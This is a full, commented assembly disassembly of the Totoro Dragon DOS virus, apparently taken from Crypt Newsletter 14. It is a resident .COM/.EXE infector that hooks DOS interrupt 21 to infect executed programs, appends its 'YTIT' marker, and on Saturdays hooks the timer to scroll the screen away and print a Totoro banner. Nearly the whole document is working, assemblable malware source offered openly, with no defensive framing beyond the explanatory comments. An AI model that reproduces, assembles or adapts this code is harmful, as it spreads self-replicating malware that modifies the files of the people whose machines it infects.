;TOTORO DRAGON disassembly. Included, for your pleasure, in Crypt ;Newsletter 14. Profuse thanks to Stormbringer, wherever he is. ;*************************************************************************** ;* The Totoro Dragon Virus from Taiwan * ;*************************************************************************** ;* This virus is a fairly simple resident .EXE/.COM infector. It goes * ;*resident by re-executing the infected file and using Int 21, function 31.* ;*When it infects a .COM, it puts itself at the beginning of the file and * ;*starts the host at an offset of 600h (700h in memory), giving the virus * ;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker * ;*at the end ("YTIT"). It infects .EXE files using the "standard" method. * ;*While it does save file attributes, the time and date change when a file * ;*is infected. The virus activates on Saturdays. When active, it installs* ;*an Int 08 (Timer click) handler that counts to 0CCCh, then shoves the * ;*text off the screen and prints the following in the upper left-hand * ;*corner: * ;* * ;* ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· * ;* º Totoro Dragon º * ;* ºHello! I am TOTORO CATº * ;* º Written by Y.T.J.C.T º * ;* º in Ping Tung. TAIWAN º * ;* º Don't Worry,be Happy º * ;* ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ * ;* * ;*It then restarts the counter and does it again. Other that this effect, * ;*the virus seems relatively harmless. * ;* * ;* * ;* Disassembly by Stormbringer * ;*************************************************************************** .model tiny .radix 16 .code org 100h start: jmp short COM_Entry_Point nop ;*************************************************************************** ;* Data Tables * ;*************************************************************************** File_Size_Off dw 5 File_Size_Seg dw 0 TSR_DAT dw 4262h DS_Save dw 0F21h ES_Save dw 0F21h File_Attribs dw 20h IP_Save dw 0 CS_Save dw 0F99 SP_Save dw 0 SS_Save dw 0 File_Type db 'C' Wasted_Space db 0, 0, 0 ;? ;******************************************** ; EXE_Header ; ;******************************************** EXE_Sig db 'MZ' Last_Page_Len dw 14h EXE_Size dw 5 Rel_Tbl_Items dw 0 Header_Size dw 20h Minalloc dw 0 Maxalloc dw 0ffff Init_SS dw 1 Init_SP dw 700h Checksum dw 0 Init_IP dw 91h Init_CS dw 1 First_Rel dw 001Eh Overlay_Num dw 0 ;******************************************** CS_Store dw 0 Command db 'COMMAND.COM', 0 db 00h, 80h, 00h ES_Store_1 dw 0F21h dw 5Ch ES_Store_2 dw 0F21h dw 6Ch ES_Store_3 dw 0F21h File_Handle dw 5 Buffer_For_Checks db 0 db 4Ch,0CDh, 21h File_Name_Off dw 469h File_Name_Seg dw 0DF5h db 0 Mem_Seg dw 0F93h IP_24 dw 156h CS_24 dw 0DF5h ;************************************************************************ ;* Virus Entry Point #1 (COM) * ;************************************************************************ COM_Entry_Point: mov ax,0F1F1h ;Is the virus in memory? int 21h mov cs:CS_Store,0 mov cs:[ES_Save],es cmp ax,0F1F1h ;AX preserved? je Already_Installed ;Same? go Already_Installed jmp Install_Virus ;Not In Mem? go Install_Virus Already_Installed: ;Restore control to host file (COM) mov ax,cs mov es,ax ;ES = DS = CS mov ds,ax mov ah,0CBh ;Restore Control mov si,700h ;Offset of host in file mov di,100h ;Original offset of host mov cx,cs:[File_Size_Off] ;Size of host file int 21h ;Call internal routine to restore control ;to host .COM file. ;************************************************************************ ;* Virus Entry Point #2 (EXE) * ;************************************************************************ EXE_Entry_Point: mov ax,cs sub ax,10h push ax mov ax,offset After_Jump push ax retf ;Jump to After_Jump with ;original .COM offsets. After_Jump: mov cs:[ES_Save],es mov cs:[DS_Save],ds mov ax,0F1F1h int 21h cmp ax,0F1F1h ;Check if installed. jne Get_New_Seg ;Nope, Install.... cli mov ax,cs:[SS_Save] ;Yes, restore host regs add ax,10h mov bx,es add ax,bx mov ss,ax mov sp,cs:[SP_Save] sti mov ax,cs:[CS_Store] mov bx,es add ax,bx add ax,10h mov word ptr cs:[IP_Save+2],ax jmp dword ptr cs:[IP_Save] ;Restore Control to ;.EXE host. Get_New_Seg: push es ;For later RETF xor ax,ax mov ds,ax ;DS = 0 ;**************************************************************************** ;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper * ;* (unused) part of the interrupt tables. This virus uses the top three* ;* bytes, i.e. the INT 99 entry, to run a repnz movsb command followed * ;* by a retf. This is to copy the virus to a new segment in memory and* ;* jump to it. * ;**************************************************************************** mov word ptr ds:[3fdh],0A4F3h ;repnz movsb mov byte ptr ds:[3ffh],0CBh ;retf push cs pop ds mov si,100h mov di,si ;Copy virus to new segment mov cx,600h ;and "RETF" to mov ax,offset Install_Virus ;Install_Virus in new copy push ax db 0EAh,0FDh, 03h, 00h, 00h ;Jump far 0:3FDh Install_Virus: cli ;Disable interrupts push cs pop ds mov ah,2Ah int 21h ;Get Day/Date cmp al,6 ;Is it Saturday? jne Set_Int_21 ;Nope, don't activate, just mov ax,3508h ;infect files. int 21h ;Get Int 08 address mov word ptr cs:[IP_08],bx mov word ptr cs:[CS_08],es mov dx,offset Int_08 mov ax,2508h int 21h ;Set Int 08 Set_Int_21: mov ax,3521h int 21h ;Get Int 21 address mov word ptr cs:[IP_21],bx mov word ptr cs:[CS_21],es mov dx,offset Int_21 mov ax,2521h int 21h ;Set Int_21 mov es,cs:[ES_Save] cmp cs:[TSR_DAT],426Bh ;Second Execute? je Go_TSR ;Yep, go TSR mov bx,1000h ;Nope, set up for second exec. mov ah,4Ah int 21h ;Change Mem Allocation ;to 64k. mov es,es:[2ch] ;Environment string xor di,di xor al,al mov cx,7FFFh Find_Filename: ;Search Environment for repne scasb ;filename of host. cmp es:[di],al loopnz Find_Filename add di,3 ;Skip drive designator ;i.e. "C:\" in ;"C:\Infected.EXE" mov dx,di push es pop ds ;DS:DX = host filename push cs pop es cli ;Clears Ints (so none can ;disrupt second execution ;of virus) mov ax,cs:[ES_Save] mov cs:[ES_Store_1],ax mov cs:[ES_Store_2],ax mov cs:[ES_Store_3],ax mov bx,144h mov ax,4B00h ;Re-Execute the file pushf call dword ptr cs:[IP_21] ;Call Int 21 to Execute file. Go_TSR: mov ah,31h mov dx,71h int 21h ;Terminate and Stay Resident. Int_21: pushf ;Push flags cmp ax,0F1F1h ;Is it an Install Check? jne Is_It_Execute ;No, Go Is_It_Execute mov ax,0F1F1h ;Yes, save value (unneccesary) popf iret ;Return to virus in program. Is_It_Execute: cmp ax,4B00h ;Is it a Load & Execute call? jne Restore_Host ;Nope, continue on. call execute ;Infect the file if possible. jmp short Go_Int_21 ;And go to old Int 21 handler. nop Restore_Host: cmp ah,0CBh ;Is it a request to restore jne Go_Int_21 ;control to host? pop ax ax ;Pop flags + Old IP (not kept) mov word ptr cs:[IP_Save],100h pop ax mov word ptr cs:[IP_Save+2],ax rep movsb ;Restore Host to orig. Pos. popf ;Completely remove old Int call mov ax,0 jmp dword ptr cs:[IP_Save] ;Jump to Host:100 Go_Int_21: popf ; Pop flags db 0ea ;Jump to Int 21 IP_21 dw 040ebh CS_21 dw 0011 execute: push es ds ax bx cx dx si di mov cs:[File_Name_Seg],ds mov cs:[File_Name_Off],dx mov ax,3524h ;Get Int 24 Address int 21h ;(Critical Error) mov cs:[IP_24],bx mov cs:[CS_24],es push cs pop ds mov dx,offset Int_24 mov ax,2524h int 21h ;Set Int 24 mov ds,cs:[File_Name_Seg] mov si,cs:[File_Name_Off] Name_Check: lodsb or al,al ;Is the first byte a zero? jnz Name_Check ;Nope, find end of string mov al,[si-2] and al,0DFh cmp al,4Dh ;'M' je Is_Com ;COM file, jump Is_Com cmp al,45h ;'E' je Is_EXE ;EXE file, jump Is_EXE jmp Clean_Up ;Neither? Go Clean_Up Is_Com: mov cs:[File_Type],'C' ;Save File type for later. jmp short Check_If_Command nop Is_EXE: mov cs:[File_Type],'E' Check_If_Command: sub si,0Ch mov di,offset Command push cs pop es mov cx,0Bh ;Is it Command.COM? repe cmpsb jnz Start_Infect ;No, Jump Start_Infect Got_An_Error: jmp Clean_Up ;Is Command, get otta here. Start_Infect: mov ds,cs:[File_Name_Seg] mov dx,cs:[File_Name_Off] mov ax,4300h int 21h ;Get Attribs jc Got_An_Error mov cs:[File_Attribs],cx xor cx,cx mov ax,4301h int 21h ;Zero Attrib's for read/write jc Got_An_Error mov ax,3D02h int 21h ;Open Read/Write jnc Check_Infect ;Everything Fine? go Check_Infect jmp Reset_Attribs ;Couldn't Open, go Reset_Attribs Check_Infect: mov bx,ax mov cs:[File_Handle],ax mov cx,0FFFFh mov dx,0FFFCh mov ax,4202h int 21h ;Move to 4 bytes from end add ax,4 mov cs:[File_Size_Off],ax push cs pop ds mov dx,offset Buffer_For_Checks mov cx,4 mov ah,3Fh int 21h ;Read in Last 4 bytes of file push cs pop es mov cx,4 mov si,offset Marker ;are last 4 bytes 'YTIT'? mov di,offset Buffer_For_Checks ; repe cmpsb jnz Check_Which_Type ;Not infected? Go Check_Which_Type jmp Close_File ;Infected? Go Close_File Check_Which_Type: cmp cs:[File_Type],'C' ;Is it a .COM? je COM_Infect ;Yes, go COM_Infect jmp EXE_Infect ;No, go EXE_Infect COM_Infect: mov ah,48h mov bx,1000h int 21h ;Allocate 64k of memory jnc Load_In_File ;No Prob? Go Load_In_File jmp Close_File ;Otherwise, go Close_File Load_In_File: mov cs:[Mem_Seg],ax mov bx,cs:[File_Handle] xor cx,cx xor dx,dx mov ax,4200h int 21h ;Go to beginning of file push cs pop ds mov es,cs:[Mem_Seg] mov si,100 mov di,si mov cx,700h rep movsb mov ds,cs:Mem_Seg mov cx,cs:[File_Size_Off] mov dx,700h mov ah,3Fh ;Load entire file to directly int 21h ;after virus. xor cx,cx xor dx,dx mov ax,4200h int 21h ;Move to the beginning of file mov dx,100h mov cx,cs:[File_Size_Off] add cx,600h mov ah,40h int 21h ;Write entire file back to disk jc Go_Release_Mem xor cx,cx xor dx,dx mov ax,4202h int 21h ;Move to end of file mov cs:[File_Size_Seg],0 ;COM < 64k add ax,4 ;Add 4 for marker bytes mov cs:[File_Size_Off],ax ;Save file size push cs pop ds mov dx,offset Marker mov cx,4 mov ah,40h int 21h ;Write in marker 'YTIT' Go_Release_Mem: jmp Release_Mem jmp Close_File EXE_Infect: xor cx,cx xor dx,dx mov ax,4200h int 21h ;Move to beginning of file push cs pop ds db 8dh,16h,1bh,01 ;lea dx,cs:[11Bh] mov cx,1Ch mov ah,3Fh int 21h ;Read in .EXE header Save_Header_NFO: cli ;clear ints mov ax,cs:[Init_CS] mov cs:[CS_Store],ax ;Save old CS mov ax,cs:[Init_IP] mov word ptr cs:[IP_Save],ax ;Save old IP mov ax,cs:[Init_SS] mov cs:[SS_Save],ax ;Save old SS mov ax,cs:[Init_SP] mov cs:[SP_Save],ax ;Save old SP sti ;restore ints xor ax,ax cmp cs:[Last_Page_Len],0 je Calculate_Exe_Header dec cs:[EXE_Size] Calculate_Exe_Header: ;Long, drawn out way ;to calculate new EXE header mov cx,200h xor dx,dx mov ax,cs:[EXE_Size] mul cx add ax,cs:[Last_Page_Len] add ax,0Fh adc dx,0 and ax,0FFF0h mov cs:[File_Size_Off],ax mov cs:[File_Size_Seg],dx push dx ax dx ax xor dx,dx mov ax,cs:[Header_Size] mov cx,10h mul cx pop bx cx sub bx,ax sbb cx,dx xchg ax,bx xchg dx,cx mov cx,10h div cx mov cs:[Init_CS],ax mov cs:[Init_SS],ax mov cs:[Init_SP],700h mov cs:[Init_IP],offset EXE_Entry_Point-100 pop ax dx push dx ax add ax,604h adc dx,0 mov cx,200h div cx mov cs:Last_Page_Len,dx or dx,dx jz Rewrite_Header inc ax Rewrite_Header: mov cs:[EXE_Size],ax xor cx,cx xor dx,dx mov bx,cs:[File_Handle] mov ax,4200h int 21h ;Move back to beginning of file push cs pop ds mov dx,offset EXE_Sig mov cx,1Ch mov ah,40h int 21h ;Write EXE header back to file pop dx pop cx jc Close_File mov ax,4200h int 21h ;Go to end of host. push cs pop ds mov dx,100 mov cx,600h mov ah,40h int 21h ;Write Virus jc Close_File xor cx,cx xor dx,dx mov ax,4202h int 21h ;Go to end of file. mov dx,offset Marker mov cx,4 mov ah,40h int 21h ;Write marker byte. jmp short Close_File nop Release_Mem: mov es,cs:Mem_Seg mov ah,49h int 21h ;Release Memory Close_File: mov ah,3Eh mov bx,cs:[File_Handle] int 21h ;Close file. Reset_Attribs: mov ds,cs:File_Name_Seg mov dx,cs:File_Name_Off mov cx,cs:File_Attribs mov ax,4301h int 21h ;Reset File attributes Clean_Up: mov ds,cs:[CS_24] ;Restore Critical Error mov dx,cs:[IP_24] mov ax,2524h int 21h pop di si dx cx bx ax ds es retn Int_24: ;Critical Error Handler xor ax,ax iret Int_08: ;Timer Click Handler pushf inc cs:[Activation_Counter] cmp cs:[Activation_Counter],0CCCh jne Go_Int_08 mov cs:[Activation_Counter],0 ;Reset Counter push ds es si di ax bx cx dx call Get_Mode call Scroll_Area call Print_Message pop dx cx bx ax di si es ds Go_Int_08: popf ; Pop flags db 0EA IP_08 dw 003Ch CS_08 dw 0D80h Screen_Width dw 0 Activation_Counter dw 1E0h Get_Mode: mov ah,0Fh int 10h ;Get Video Mode mov bx,0B000h ;Mode 7 Text Video Memory mov es,bx cmp al,7 je In_Mode_7 mov bx,0B800h ;Regular Text Video Memory In_Mode_7: mov es,bx mov ds,bx mov cs:[Screen_Width],4Fh Setup_Screen: mov cx,19h mov bx,0 Clear_Screen: push cx call Scroll_Line add bx,0A0h pop cx loop Clear_Screen dec cs:[Screen_Width] jnz Setup_Screen retn Scroll_Line: ;This subroutine clears the mov di,bx ;screen by scrolling the text mov si,bx ;straight off of the left add si,2 ;side. mov cx,cs:[Screen_Width] Scroll_Sideways: lodsb stosb inc si inc di loop Scroll_Sideways retn Print_Message: xor bx,bx push cs pop ds db 8dh,36h,18h,06 ;lea si,cs:[Totoro_Design] mov ah,0Eh Print_Loop: lodsb int 10h ;Write Char in Teletype mode cmp byte ptr [si],24h ;is it a '$'? jne Print_Loop ;Nope, continue writing retn Scroll_Area: xor bx,bx ;Video Page 0 mov ah,3 int 10h ;Get Cursor info push dx ;Push Cursor Location (DX) mov ah,6 mov bh,7 mov al,18h xor cx,cx mov dh,18h mov dl,4Fh int 10h ;Scroll up (clear screen) mov ah,2 pop dx sub dh,2 xor bx,bx int 10h ;Reset Cursor xor bx,bx xor dx,dx mov ah,2 int 10h ;Set Cursor for printing. retn Totoro_Design: db ' ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·',0Dh, 0Ah db ' º Totoro Dragon º',0Dh, 0Ah db ' ºHello! I am TOTORO CATº',0Dh, 0Ah db ' º Written by Y.T.J.C.T º',0Dh, 0Ah db ' º in Ping Tung. TAIWAN º',0Dh, 0Ah db ' º Don''t Worry,be Happy º',0Dh, 0Ah db ' ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ$' Marker db 'YTIT' db 28 dup (0) ;*************************************************************************** ;*End of virus. The bytes below this line are the infected program and the * ;* viruses' identification bytes. * ;*************************************************************************** Host_Program: mov ax,4c00 int 21 Infected_Mark db 'YTIT' end start